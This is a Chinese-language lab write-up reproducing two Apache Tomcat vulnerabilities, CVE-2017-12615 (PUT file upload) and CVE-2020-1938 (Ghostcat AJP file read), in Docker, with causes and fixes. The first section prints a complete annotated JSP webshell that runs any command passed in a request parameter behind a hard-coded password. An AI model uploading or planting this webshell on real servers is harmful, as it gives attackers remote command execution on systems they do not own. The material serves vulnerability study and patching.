文章目錄
Tomcat PUT方法任意寫文件漏洞(CVE-2017-12615)
Tomcat版本:8.5.19
PUT方法
-
除常用的GET和POST方法外還包括和GET請求類似的HEAD請求,TRACE和OPTIONS請求,以及這裏的PUT請求方法;
-
PUT請求方法試圖使用包含在請求主體的內容,向服務器上傳指定的資源。如果能激活這個方法就可以用它來攻擊應用程序。
漏洞環境搭建
- 使用docker進入環境所在目錄並拉取鏡像到倉庫運行
- 進入bash環境
docker exec -it 8afe1f5de9a6 /bin/bash
進入容器的bash環境,查看
cat /usr/local/tomcat/conf/web.xml
漏洞成因
其中配置了readonly=false,導致我們可以往服務器寫文件
漏洞復現
進入tomcat的漏洞環境,進行抓包發送到reapeater模塊構造
進入tomcat的主目錄/usr/local/tomcat/webapps/ROOT
中查看是否上傳成功
顯示沒毛病,上傳成功了,接下來就是研究上傳的腳本了,怎樣實現遠程命令執行,對java不是很熟,學習了一下稍微註釋了一些
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
//設置頁面編碼格式,導入java包
<%!
public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
//StringBuilder一個類
try
{
Process pro = Runtime.getRuntime().exec(c);
//調用另一個的可執行程序或系統命令,cmd 是字符串類型 也可以是字符串類型的數組 內容就是 命令行
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
//把字符流添加到緩衝流
String temp = null;
//值初始化爲null
while ((temp = buf.readLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
//append追加字符串,然後關閉資源
}
catch (Exception e)
{
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
//request.getParameter參數的取值,
{
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
//輸出打印笑臉
}
%>
所以這裏給cmd賦值一個命令行的命令就應該能實現遠程執行
漏洞解決方法
由於存在去掉最後的 / 的特性,最好的解決方式是將 conf/web.xml 中對於 DefaultServlet 的 readonly 設置爲 true。
Tomcat-Ajp漏洞(CVE-2020-1938)漏洞復現
漏洞詳情
2月14日,Apache Tomcat 官方發佈安全更新版本,修復漏洞。2月20日,國家信息安全漏洞共享平臺(CNVD)發佈安全公告,該漏洞綜合評級爲高危,漏洞 CVE 編號 CVE-2020-1938。
漏洞危害
攻擊者可以讀取 Tomcat下部署的所有webapp目錄下的任意文件。
此外如果網站應用提供文件上傳的功能,攻擊者可以先向服務端上傳一個內容含有惡意JsP腳本代碼的文件(上傳的文件本身可以是任意類型的文件,比如圖片、純文本文件等),然後利用Ghostcat漏洞進行文件包含,從而達到代碼執行的危害。
【版本影響】
- Apache Tomcat 9.x<9.0.31
- Apache Tomcat 8.X <8.5.51
- Apache Tomcat 7.x<7.0.100
- Apache Tomcat 6.x
最近有個關於tomcat的漏洞文件包含的漏洞,就順便復現一下,以上資料也是網上查的;
漏洞復現
查看剛剛用於復現的tomcat版本號是否會受影響
版本號符合要求,進入容器
查看一下配置cat /usr/local/tomcat/conf/server.xml
8009以及AJP協議開放,說明存在其漏洞,從網上下載了poc進行漏洞復現,但是現在運行會報錯
我原本單純的以爲8009端口應該會開放着但是並沒有
所以這裏需要將之前的容器關掉,指定容器開放8009端口再進行復現
docker stop 鏡像id
docker run -d -p 8080:8080 -p 8009:8009 3053aee7bf96
docker ps查看正在運行的容器
進入容器的bash環境 docker exec it “id”/bin/bash
然後再檢查一下8009端口是否已經開啓
此時已經開啓8009端口,使用poc讀取web.xml文件,如圖
讀取成功
自行創建一個文件123.txt,檢查是否能讀取
同樣也能讀取
解決方案
- 禁用AJP協議端口
- 配置ajp配置中的secretRequired跟secret屬性來限制認證